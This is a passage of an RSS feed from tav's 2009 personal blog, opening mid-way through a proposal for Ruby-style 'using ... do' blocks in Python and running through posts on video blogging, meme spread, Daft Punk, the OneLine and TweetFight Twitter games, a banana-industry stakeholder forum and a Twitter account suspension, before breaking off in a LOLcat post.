<div class="syntax python"><pre><span class="k">using</span> <span class="n">employees</span><span class="o">.</span><span class="n">select</span> <span class="k">do</span> <span class="p">(</span><span class="n">emp</span><span class="p">):</span><br/>    <span class="k">if</span> <span class="n">emp</span><span class="o">.</span><span class="n">salary</span> <span class="o">&gt;</span> <span class="n">developer</span><span class="o">.</span><span class="n">salary</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="n">fireEmployee</span><span class="p">(</span><span class="n">emp</span><span class="p">)</span><br/>    <span class="k">else</span><span class="p">:</span><br/>        <span class="k">return</span> <span class="n">extendContract</span><span class="p">(</span><span class="n">emp</span><span class="p">)</span><br/></pre></div>
<p>Which is hopefully simple and Pythonic enough to everyone's tastes to make this
a reality for Python 2.7 and 3.1.</p>
<p>To facilitate this the grammar would need to be extended to something like:</p>
<pre class="literal-block">
using_stmt ::=
  &quot;using&quot; expression &quot;do&quot; [parameter_list] &quot;:&quot; suite
</pre>
<p>And when the do keyword is encountered, functionality should be delegated to a
<tt class="docutils literal">__do__</tt> function in the same way that the <tt class="docutils literal">import</tt> keyword delegates to
<tt class="docutils literal">__import__</tt>.</p>
<p>The delegation should map the following syntax:</p>
<pre class="literal-block">
using EXPR do PARAM_LIST:
    BLOCK_CODE
</pre>
<p>into the function call:</p>
<pre class="literal-block">
__do__(expr, callback, globals, locals)
</pre>
<p>Where <tt class="docutils literal">callback</tt> is a function named &lsquo;&lt;callback&gt;&rsquo; compiled with PARAM_LIST as
its parameter_list and BLOCK_CODE as the function body. Like with import,
<tt class="docutils literal">globals()</tt> and <tt class="docutils literal">locals()</tt> should be from the scope of the do statement.</p>
<p>As a starting point for discussion, I would like to propose the following as the
default __do__ function:</p>
<div class="syntax python"><pre><span class="k">def</span> <span class="nf">__do__</span><span class="p">(</span><span class="n">expr</span><span class="p">,</span> <span class="n">callback</span><span class="p">,</span> <span class="nb">globals</span><span class="p">,</span> <span class="nb">locals</span><span class="p">):</span><br/>    <span class="n">retval</span> <span class="o">=</span> <span class="bp">None</span><br/>    <span class="k">while</span> <span class="mi">1</span><span class="p">:</span><br/>        <span class="k">try</span><span class="p">:</span><br/>            <span class="n">args</span> <span class="o">=</span> <span class="n">expr</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">retval</span><span class="p">)</span><br/>            <span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="nb">tuple</span><span class="p">):</span><br/>                <span class="n">args</span> <span class="o">=</span> <span class="p">(</span><span class="n">args</span><span class="p">,)</span><br/>            <span class="n">retval</span> <span class="o">=</span> <span class="n">callback</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">)</span><br/>        <span class="k">except</span> <span class="ne">StopIteration</span><span class="p">:</span><br/>            <span class="k">break</span><br/></pre></div>
<p>This works thanks to Python's support of coroutines through generators <a class="reference external" href="http://www.python.org/dev/peps/pep-0342/">[PEP
342]</a> and would cover the common
case of a generator instance being passed in as the EXPR.</p>
<p>And it just so happens to mirror the semantics of Ruby blocks quite beautifully:</p>
<div class="syntax pycon"><pre><span class="gp">&gt;&gt;&gt; </span><span class="k">def</span> <span class="nf">generator</span><span class="p">():</span><br/><span class="gp">... </span>    <span class="k">yield</span><br/><span class="gp">... </span>    <span class="k">yield</span><br/><br/><span class="gp">&gt;&gt;&gt; </span><span class="k">using</span> <span class="n">generator</span><span class="p">()</span> <span class="k">do</span><span class="p">:</span><br/><span class="gp">... </span>    <span class="k">print</span> <span class="s">&quot;hello world&quot;</span><br/><span class="go">hello world</span><br/><span class="go">hello world</span><br/></pre></div>
<p>The only aspect missing is Ruby's <tt class="docutils literal">block_given?</tt> but that could easily be
supported by alternative __do__ implementations if the need arises.</p>
<p>I expect the dominant usage of blocks to be for the creation of DSLs. This has
almost become an art form in the Ruby world &mdash; with everything from Rake tasks
to Rails configuration being done through <a class="reference external" href="http://www.daniel-azuma.com/blog/view/z3bqa0t01uugg1/implementing_dsl_blocks">mini-DSLs built using blocks</a>.</p>
<p>It would be interesting to see what the Python world comes up with. The ability
to custom define __do__ would allow Python hackers to do some really cool shit
with blocks that Ruby hackers can't do for the moment.</p>
<p>And I can imagine a lot of existing frameworks like <a class="reference external" href="http://twistedmatrix.com/">Twisted</a>, <a class="reference external" href="http://peak.telecommunity.com/DevCenter/Trellis">Trellis</a>, <a class="reference external" href="http://wiki.secondlife.com/wiki/Eventlet">Eventlet</a> and <a class="reference external" href="http://www.djangoproject.com/">Django</a> becoming even more simplified and powerful
thanks to blocks.</p>
<p>What do you think?</p>
<p><strong>Idealist Addendum:</strong></p>
<blockquote>
<p>Whilst I believe the above should suit Guido's taste, I am not so sure of the
following. But in an ideal world, he would give it his blessing, so here goes
=)</p>
<p>Ideally the do statement would map the following syntax:</p>
<pre class="literal-block">
using EXPR1 do EXPR2:
    BLOCK_CODE
</pre>
<p>into the function call:</p>
<pre class="literal-block">
__do__(expr1, expr2, block_code, indent_level, globals, locals)
</pre>
<p>This would give the __do__ function even more flexibility at very little cost.
By default, EXPR2 would be treated as PARAM_LIST and together with BLOCK_CODE
it would be compiled into the callback function described above.</p>
<p>But more enterprising __do__ functions could do interesting things like
rewriting the AST of the BLOCK_CODE. Given that this is already done by many
many Python libraries, it's not much of a stretch of the imagination. The
benefit? Super nice Pythonic DSLs!</p>
</blockquote>
<p>Anyways, that's enough ranting for one morning. What do you think? Let me know
in the comments or on the <a class="reference external" href="http://mail.python.org/mailman/listinfo/python-dev">Python-Dev</a> mailing list.</p>
<p>&mdash; Thanks, <a class="reference external" href="http://twitter.com/tav">&#64;tav</a></p><img src="http://feeds.feedburner.com/~r/asktav/~4/ualTYigV4jE" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/ruby-style-blocks-in-python.html</feedburner:origLink></item><item>
    <title>Becoming a Film Maker</title>
    <guid isPermaLink="false">http://tav.espians.com/becoming-a-film-maker.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/Lis_leVk-fI/becoming-a-film-maker.html</link>
    <pubDate>Fri, 06 Mar 2009 05:38:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I've decided to ease into film making by becoming a video blogger. By the time I
am proficient enough with video editing, the stage should be set for <a class="reference external" href="http://en.wikipedia.org/wiki/The_Diamond_Age">ractives</a> ;p</p>
<div class="float-right">
<object width="480" height="295"><param name="movie" value="http://www.youtube.com/v/cO9JqzWyRbs&amp;hl=en&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/cO9JqzWyRbs&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="295"></embed></object>
</div><p>So I need your help. Because I know fuck all about filming or editing.</p>
<p>Despite creating the likes of <a class="reference external" href="http://www.green.tv">green.tv</a> and setting up an entire company to provide online video
services, my knowledge of film making is close to non-existent.</p>
<p>If you want to know about scalable online distribution or digital video
encoding, then I can give you expert advice. But film making? Not a clue.</p>
<p>The closest I've ever gotten to actual editing was as part of the Video
Production Society at <a class="reference external" href="http://www.dulwich.org.uk">Dulwich College</a>. Back then
it was mostly analog and Adobe Premiere 1.0 just gave me lots of headaches.</p>
<p>So as I get back into it over 15 years later, my setup is:</p>
<ul class="simple">
<li>Core 2 Duo 2.4Ghz Macbook w/ 4GB of RAM</li>
<li>External 1TB Networked Hard Drive</li>
<li>iLife '08, iWork '09</li>
<li>Final Cut Express, Logic Express</li>
</ul>
<p>Is this good enough? I didn't go for the Pro versions given the price and
decided to ease myself in with the Express versions. Would iMovie have been
enough?</p>
<p>What are tutorials, podcasts and websites I should check out to get started very
quickly?</p>
<p>As for the video capturing process, should I shell out on an actual camera or is
something like <a class="reference external" href="http://www.theflip.com/">the Flip</a> good enough to get started
with?</p>
<div class="float-left-aligned">
<a href="http://blog.vincentlaforet.com/2008/11/26/7-days-7-shoots-eos-5d-mkii/"><img
src="http://cloud.github.com/downloads/tav/plexnet/gfx.photo-vincent-laforet-5d-sample.jpg"
alt="Sweet Shot" /></a><br />
<div class="image-caption">by <a
href="http://blog.vincentlaforet.com/2008/11/26/7-days-7-shoots-eos-5d-mkii/">Vincent
Laforet</a></div>
</div><p>I've been drooling over the <a class="reference external" href="http://gizmodo.com/tag/canon-5d-mark-ii/">Canon 5D Mark II</a>. It produces the stunning visuals
you see in this article!!</p>
<p>I don't of course expect to produce anything quite so spectacular yet. But if
one day I could afford to buy it, would it be any better than a Flip in the
hands of a newbie like myself?</p>
<p>And, finally, instead of hosting the videos myself, it seems that it's better to
put them up on sites with active communities.</p>
<p>I've <a class="reference external" href="http://www.vimeo.com/asktav">signed up to Vimeo</a> for this as they seem
to have really vibrant and artistic community. Is this a good choice?</p>
<p>Have any of you been video blogging or film making? What have your experiences
been? Am I approaching all this completely wrong?</p>
<p>Please let me know any thoughts you may have in the comments. Thanks!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/Lis_leVk-fI" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/ZXcTYy9Bzbo/cO9JqzWyRbs&amp;amp;hl=en&amp;amp;fs=1" fileSize="1046" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://tav.espians.com/becoming-a-film-maker.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/ZXcTYy9Bzbo/cO9JqzWyRbs&amp;amp;hl=en&amp;amp;fs=1" length="1046" type="application/x-shockwave-flash" /><feedburner:origEnclosureLink>http://www.youtube.com/v/cO9JqzWyRbs&amp;amp;hl=en&amp;amp;fs=1</feedburner:origEnclosureLink></item><item>
    <title>Meme Time Tending to Zero</title>
    <guid isPermaLink="false">http://tav.espians.com/meme-time-tending-to-zero.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/eLw8XdMpupM/meme-time-tending-to-zero.html</link>
    <pubDate>Thu, 05 Mar 2009 06:56:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>It's no secret that Meme Time &mdash; the average time taken for a <a class="reference external" href="http://en.wikipedia.org/wiki/Meme">meme</a> to spread far and wide &mdash; has been getting
shorter. Scarily so. It took Christianity over a 1,000 years to achieve what
Facebook has done in less than 4 years.</p>
<p>This thought-provoking video is worth watching:</p>
<div class="center">
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/jpEnFwiqdx8&amp;hl=en&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/jpEnFwiqdx8&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>
</div><p>It reinforces the words of <a class="reference external" href="http://twitter.com/evangineer">Mamading Ceesay</a>:
&quot;The whole world is going to be experiencing environmentally-induced <a class="reference external" href="http://en.wikipedia.org/wiki/Attention-deficit_hyperactivity_disorder">ADHD</a> pretty
soon&quot;.</p>
<p>Which leads me to worry about the social implications of this increasing pace.
Being able to overcome information overload and limiting your attention to what
really matters to you is going to be absolutely vital in the future.</p>
<p>But if we are going to prepare for that, we also need to know the rate of the
current flow. How long does it take for a meme to become a part of daily life
for a population of 10 million people? How long does it take for a meme to be
known by 100 million people?</p>
<p>By knowing these and other related data points to &ldquo;Meme Time&rdquo;, we would be
better placed to adapt. Maybe we are heading towards <a class="reference external" href="http://en.wikipedia.org/wiki/Technological_singularity">The Singularity</a> after all?</p>
<p>Would it be possible to start gathering enough statistics to get a relatively
accurate picture? How could we do this so that it brings the greatest benefits
to everyone? How would we handle the privacy issues?</p>
<p>As usual, let me know your thoughts in the comments. Thanks!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/eLw8XdMpupM" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/VQO3QtQ-hpI/jpEnFwiqdx8&amp;amp;hl=en&amp;amp;fs=1" fileSize="1039" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://tav.espians.com/meme-time-tending-to-zero.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/VQO3QtQ-hpI/jpEnFwiqdx8&amp;amp;hl=en&amp;amp;fs=1" length="1039" type="application/x-shockwave-flash" /><feedburner:origEnclosureLink>http://www.youtube.com/v/jpEnFwiqdx8&amp;amp;hl=en&amp;amp;fs=1</feedburner:origEnclosureLink></item><item>
    <title>Daft Punk Alive?</title>
    <guid isPermaLink="false">http://tav.espians.com/daft-punk-alive.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/e9xRaCJ_ugI/daft-punk-alive.html</link>
    <pubDate>Wed, 04 Mar 2009 00:06:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right">
<object width="425" height="344"><param name="movie"
value="http://www.youtube.com/v/4ItqVgaTIjI&amp;hl=en&amp;fs=1"></param><param
name="allowFullScreen" value="true"></param><param name="allowscriptaccess"
value="always"></param><embed
src="http://www.youtube.com/v/4ItqVgaTIjI&amp;hl=en&amp;fs=1"
type="application/x-shockwave-flash" allowscriptaccess="always"
allowfullscreen="true" width="425" height="344"></embed></object>
</div><p>This year has been great for music. My favourite musician, <a class="reference external" href="http://en.wikipedia.org/wiki/A._R._Rahman">A. R. Rahman</a>, won 2 Oscars whilst my favourite
band, <a class="reference external" href="http://www.myspace.com/daftpunk">Daft Punk</a>, won 2 Grammys!</p>
<p>As much as one might try to hate the French, you just can't knock Daft Punk.
Their music is great and they are amazing performers.</p>
<p>But for the love of Google, I have been able to find sweet fuck all for <a class="reference external" href="http://www.google.com/search?q=daft+punk+tour+dates+2009">Daft
Punk tour dates in 2009</a>.</p>
<p>So if any of you happen to know where they can be seen in the near future,
please let me know in the comments!!</p>
<p>And if any of you happen to know them personally, then I'd love for them to
perform at my birthday sometime. It doesn't have to be this year, next year is
fine too ;p</p><img src="http://feeds.feedburner.com/~r/asktav/~4/e9xRaCJ_ugI" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/7lAGoesGd1I/4ItqVgaTIjI&amp;amp;hl=en&amp;amp;fs=1" fileSize="1033" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://tav.espians.com/daft-punk-alive.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/7lAGoesGd1I/4ItqVgaTIjI&amp;amp;hl=en&amp;amp;fs=1" length="1033" type="application/x-shockwave-flash" /><feedburner:origEnclosureLink>http://www.youtube.com/v/4ItqVgaTIjI&amp;amp;hl=en&amp;amp;fs=1</feedburner:origEnclosureLink></item><item>
    <title>Oneline: Constructive Conversations on Twitter</title>
    <guid isPermaLink="false">http://tav.espians.com/oneline.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/yaju8cLJWW0/oneline.html</link>
    <pubDate>Tue, 03 Mar 2009 11:12:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p><a class="reference external" href="http://twitter.com/happyseaurchin">David Pinto</a> had this wonderful insight
that the quality of conversations could go up dramatically if each participant
was limited to saying just one sentence at a time.</p>
<div class="float-right-aligned">
<a href="http://flickr.com/photos/moriza/2565606353/"><img
src="http://farm4.static.flickr.com/3137/2565606353_d2c7001e2c.jpg"
alt="Friendlies in conversation" /></a><br />
<div class="image-caption">
  by <a href="http://flickr.com/photos/moriza/2565606353/">moriza</a>
</div>
</div><p>We practised this in face-to-face conversations and found it to be a great
success!</p>
<p>Paradoxically, limiting the &ldquo;bandwidth&rdquo; led to richer conversations. It
encouraged everyone to <a class="reference external" href="#oneline-listening">truly listen</a> to each other and kept issues on topic.</p>
<p>And, most importantly, it put everyone involved on an equal footing &mdash; allowing
focus to be placed upon the content instead of whoever can dominate the room.</p>
<p>The application of this approach is extremely broad. From resolving personal
conflicts to working out the kinks in a new idea. Try the oneline approach on
Twitter and let me know how it works out for you.</p>
<p><strong>Oneline Rules:</strong></p>
<ol class="arabic simple">
<li>Only 2 people to a oneline dialogue.</li>
<li>You must &#64;reply to keep the conversation going.</li>
<li>All tweets must end with <tt class="docutils literal">#oneline</tt>.</li>
<li>No more than one tweet at a time by each party.</li>
<li>It's over if neither party continues within 24 hours.</li>
</ol>
<div id="oneline-ring"></div><p><strong>Recent Onelines:</strong></p>
<div id="oneline"></div>
<script type="text/javascript" src="http://cloud.github.com/downloads/tav/plexnet/js.tweetfight.js"></script>
<script type="text/javascript">
  tweetfight_setup('oneline', "OneLine");
</script>
<style type="text/css">
  .tweetfight-time { font-size: 0.9em; color: #888; }
  tr.tweetfight-item td { border-top: 1px dashed #888; padding: 5px; }
</style><p><strong>Krishnamurthy on Listening:</strong></p>
<div class="center" id="oneline-listening">
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/JKvz3BdB2EE&amp;hl=en&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/JKvz3BdB2EE&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>
</div><p>[Also see the more agressive <a class="reference external" href="tweetfight.html">TweetFight</a> variant if you are
in the mood for a fight rather than a pleasant conversation.]</p><img src="http://feeds.feedburner.com/~r/asktav/~4/yaju8cLJWW0" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><media:content url="http://feedproxy.google.com/~r/asktav/~5/Ek2rcMu8PnI/JKvz3BdB2EE&amp;amp;hl=en&amp;amp;fs=1" fileSize="1078" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:author>tav</itunes:author><feedburner:origLink>http://tav.espians.com/oneline.html</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/asktav/~5/Ek2rcMu8PnI/JKvz3BdB2EE&amp;amp;hl=en&amp;amp;fs=1" length="1078" type="application/x-shockwave-flash" /><feedburner:origEnclosureLink>http://www.youtube.com/v/JKvz3BdB2EE&amp;amp;hl=en&amp;amp;fs=1</feedburner:origEnclosureLink></item><item>
    <title>TweetFight -- Fight Club 2.0</title>
    <guid isPermaLink="false">http://tav.espians.com/tweetfight.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/XA-OywYj5oM/tweetfight.html</link>
    <pubDate>Mon, 02 Mar 2009 02:09:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<div class="float-right-aligned">
<a href="http://flickr.com/photos/polinasergeeva/3052374910/"><img
src="http://farm4.static.flickr.com/3188/3052374910_5cb9f1e734_m.jpg"
alt="Fight Club Bloodstained Hands" /></a><br />
<div class="image-caption">
  by <a href="http://flickr.com/photos/polinasergeeva/3052374910/">Polina Sergeeva</a>
</div>
</div><p><strong>TweetFight Rules:</strong></p>
<ol class="arabic simple">
<li>Only 2 people to a tweetfight.</li>
<li>You must &#64;reply your opponent to keep the fight going.</li>
<li>All tweets relating to a fight must end with <tt class="docutils literal">#tweetfight</tt>.</li>
<li>No more than one tweet at a time by each party.</li>
<li>Fights are over if neither party continues within 12 hours.</li>
<li>Last person tweeting wins.</li>
</ol>
<p>Fights can be civil, intellectual or even <a class="reference external" href="http://valleywag.gawker.com/5152016/canuck-rag-regrets-tech-reporters-twitter-tirade">foul</a>.
It's your choice.</p>
<div id="tweetfight-ring"></div><p><strong>Recent TweetFights:</strong></p>
<div id="tweetfight"></div>
<script type="text/javascript" src="http://cloud.github.com/downloads/tav/plexnet/js.tweetfight.js"></script>
<script type="text/javascript">
  tweetfight_setup('tweetfight', "TweetFight", 12);
</script>
<style type="text/css">
  .tweetfight-time { font-size: 0.9em; color: #888; }
  tr.tweetfight-item td { border-top: 1px dashed #888; padding: 5px; }
</style><p><strong>Credits:</strong></p>
<ul class="simple">
<li><a class="reference external" href="http://twitter.com/evangineer">&#64;evangineer</a> &mdash; Idea of a Twitter &ldquo;Celebrity
Death Match&rdquo;.</li>
<li><a class="reference external" href="http:/twitter.com/happyseaurchin">&#64;happyseaurchin</a> &mdash; Idea of &ldquo;one sentence
at a time&rdquo; to facilitate rich conversations.</li>
<li><a class="reference external" href="http://twitter.com/olasofia">&#64;olasofia</a> &mdash; The Fight Club metaphor.</li>
<li><a class="reference external" href="http://twitter.com/tav">&#64;tav</a> &mdash; Design and implementation.</li>
</ul>
<p>[Also see the more constructive <a class="reference external" href="oneline.html">OneLine</a> variant if you are in
the mood for a conversation rather than a fight.]</p><img src="http://feeds.feedburner.com/~r/asktav/~4/XA-OywYj5oM" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/tweetfight.html</feedburner:origLink></item><item>
    <title>Facilitating The Banana Industry</title>
    <guid isPermaLink="false">http://tav.espians.com/facilitating-the-banana-industry.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/ecBn2O3cyQQ/facilitating-the-banana-industry.html</link>
    <pubDate>Sun, 01 Mar 2009 19:58:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Last year, <a class="reference external" href="http://blog.turnupthecourage.com">Sofia</a> and I got invited to
facilitate and help set up a Multi-Stakeholder Forum for the Banana industry.</p>
<div class="float-right-aligned">
<a href="http://www.flickr.com/photos/olasofia/3177879142/in/set-72157612292777564/"><img
src="http://farm4.static.flickr.com/3306/3177879142_4eecdcf897.jpg" alt="Tav
and Sofia facilitating the Multi-Stakeholder Forum" /></a>
</div><p>[Well, technically, she got invited and I tagged along as the co-facilitator &mdash;
aka &ldquo;Slave&rdquo;]</p>
<p>The hard working guys at <a class="reference external" href="http://www.bananalink.org.uk/">Banana Link</a> had been
at this for years now. And the seed for it had been set at the <a class="reference external" href="http://www.ibc2.org/">2nd
International Banana Conference</a>.</p>
<p>Our task was to get everyone to talk to each other and commit to being active in
a new body that was representative of all in the industry.</p>
<p>And all this in 3 days.</p>
<p>So we shipped over a whole bunch of <a class="reference external" href="http://www.ryman.co.uk/">stationery</a> to
Amsterdam and got there in time to check out the venue before heading to dinner
with all the other participants.</p>
<p>If we had expected this to be easy in any way, the dinner proved without a doubt
that it was going to be an uphill battle. Everyone was pleasant, but there were
quite clearly 2 separate camps:</p>
<ul class="simple">
<li>The small producers from places like the Philippines, Windward Islands, Costa
Rica, &amp;c. along with their NGO friendlies like the <a class="reference external" href="http://www.fairtrade.org.uk/">Fairtrade Foundation</a>.</li>
<li>The large producers like <a class="reference external" href="http://www.chiquita.com/">Chiquita</a>, <a class="reference external" href="http://www.dole.com/">Dole</a>, &amp;c. who own more than 80% of the Banana export
industry and their retailer friendlies.</li>
</ul>
<p>Many of the representatives even went so far as to keep themselves physically
separated across the tables in the restaurant!</p>
<p>But the fact that all these representatives were willing to be here at least was
a good sign. The only class of key players who were notably absent were Big
Retail: <a class="reference external" href="http://www.walmart.com/">Walmart</a>, <a class="reference external" href="http://www.carrefour.com/">Carrefour</a> and <a class="reference external" href="http://www.tesco.com/">Tesco</a>.</p>
<img alt="http://farm4.static.flickr.com/3124/3177897284_62477d037b_m.jpg" class="float-left-aligned" src="http://farm4.static.flickr.com/3124/3177897284_62477d037b_m.jpg" />
<p>So we set to it and over two days a transformation began to take place. The team
of interpreters bridged the language gaps whilst Sofia and I took everyone
through a bastardised process of <a class="reference external" href="http://www.theworldcafe.com/">World Café</a>,
<a class="reference external" href="http://en.wikipedia.org/wiki/Open_Space_Technology">Open Space</a> and
<a class="reference external" href="http://www.dotmocracy.org/">Dotmocracy</a>.</p>
<p>And slowly but surely everyone realised that they did in fact share a lot of the
same problems and ideals!</p>
<p>Very quickly after that consensus was reached on the Multi-Stakeholder Forum.
And everyone, including the big players, made their commitments to it!!</p>
<p>We celebrated the success by dancing the night away in Amsterdam and even
managed to hang out with Steve Alexander and his buddies during their <a class="reference external" href="http://tdams.com/">Improv
Theater performance</a>.</p>
<p>The whole experience was great fun and made us want to bring together similar
bodies across all industries! There isn't enough dialogue taking place with real
action behind it.</p>
<p>It was also the first time Sofia and I had worked together just by ourselves in
an external project and we were great together. It turns out that working
together with your girlfriend <em>can</em> be loads of fun!</p>
<p>Finally, I found the experience extremely enlightening. It forced me to go on a
crash-course (prior to the event) and learn about the various issues relating to
the Banana industry.</p>
<p>And the issues that the various participants brought up helped re-emphasise to
me that the solutions provided by the Plex Economy are very much needed. Not
just bloggers, musicians and coders &mdash; but entire industries &mdash; are ready for
it!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/ecBn2O3cyQQ" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/facilitating-the-banana-industry.html</feedburner:origLink></item><item>
    <title>A Week's Difference in the Twitterverse</title>
    <guid isPermaLink="false">http://tav.espians.com/a-weeks-difference-in-the-twitterverse.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/r1lnT9rJAa8/a-weeks-difference-in-the-twitterverse.html</link>
    <pubDate>Thu, 26 Feb 2009 04:11:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>It's funny how much of a difference a week can sometimes make. Especially in the
Twitterverse. Case in point, my relationship with Twitter Inc.</p>
<img alt="http://cloud.github.com/downloads/tav/plexnet/gfx.alex-payne-praise-on-twitter.png" class="float-right" src="http://cloud.github.com/downloads/tav/plexnet/gfx.alex-payne-praise-on-twitter.png" />
<p>A few weeks ago I had registered several Twitter accounts for use in an upcoming
Twitter application &mdash; Tweet20. I'd registered accounts like: <a class="reference external" href="http://twitter.com/tweetyes">&#64;tweetyes</a>, <a class="reference external" href="http://twitter.com/tweetno">&#64;tweetno</a>,
<a class="reference external" href="http://twitter.com/tweetoffer">&#64;tweetoffer</a>, <a class="reference external" href="http://twitter.com/tweetwant">&#64;tweetwant</a> and <a class="reference external" href="http://twitter.com/tweetlocation">&#64;tweetlocation</a>.</p>
<p>But it turns out that if you register too many accounts concurrently, the
Twitter spam controls are triggered. So a little while after the accounts got
registered, I found to my surprise that most of them had been suspended!!</p>
<p>Slightly surprised at why non-spam accounts would get suspended &mdash; most of those
accounts hadn't even been used and were too recent to count as name-squatting!
&mdash; I got in touch with the Twitter folk and made my case.</p>
<p>But on the first go, my appeal got rejected and the issue was closed. After
being pissed off momentarily, I told myself off for depending on other people's
platforms and got in touch with the Twitter support staff who had closed the
issue.</p>
<p><a class="reference external" href="http://twitter.com/delbius">Del Harvey (&#64;delbius)</a> turned out to be quite
pleasant to engage and after a little while, my accounts were re-enabled. Woo!!</p>
<p>In the meantime, I had been helping out <a class="reference external" href="http://twitter.com/ryanwi">Ryan Williams (&#64;ryanwi)</a> on the Twitter-Dev list with getting Twitter OAuth
working on App Engine. I put this out as open source for others to use &mdash;
<a class="reference external" href="http://github.com/tav/tweetapp">tweetapp</a> &mdash; and promptly forgot about it.</p>
<p>But, much to my pleasant surprise, not only did it get picked up by a Google App
Engine Product Manager, <a class="reference external" href="http://twitter.com/mdrcode">Mike Repass (&#64;mdrcode)</a>,
but <a class="reference external" href="http://twitter.com/al3x">Alex Payne (&#64;al3x)</a>, the Twitter API lead made
the statement you see in the above image &mdash; which I discovered whilst reading
the <a class="reference external" href="http://github.com/blog/355-twitter-apps-on-app-engine">GitHub blog</a>!</p>
<p>And thus in the course of a week I had gone from being treated as a spammer by
Twitter Inc. to being appreciated by one of its leading members. Down and up we
go!</p>
<p>Lesson to take away from this? Just keep on providing demonstrable value and you
will be rewarded positively.</p>
<p>Have you had similar turnarounds with other organisations? Or perhaps even with
Twitter Inc. too? Let me know in the comments!</p><img src="http://feeds.feedburner.com/~r/asktav/~4/r1lnT9rJAa8" height="1" width="1"/>]]></content:encoded>
  <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">tav</dc:creator><feedburner:origLink>http://tav.espians.com/a-weeks-difference-in-the-twitterverse.html</feedburner:origLink></item><item>
    <title>Cutest LOLCat Ever</title>
    <guid isPermaLink="false">http://tav.espians.com/cutest-lolcat-ever.html</guid>
    <link>http://feedproxy.google.com/~r/asktav/~3/WhFitFVTrRc/cutest-lolcat-ever.html</link>
    <pubDate>Wed, 25 Feb 2009 17:45:00 GMT</pubDate>
    <description />
	<content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I'm not a big fan of the whole <a class="reference external" href="http://en.wikipedia.org/wiki/Lolcat">lolcat meme</a>, but it does produce some fantastic
imagery sometimes. I was introducing my girlfriend to <a class="reference external" href="http://icanhascheezburger.com/">icanhascheezburger.com</a> yesterday and we came across this &mdash; possibly
the cutest LOLcat ever:</p>
<div class="center">
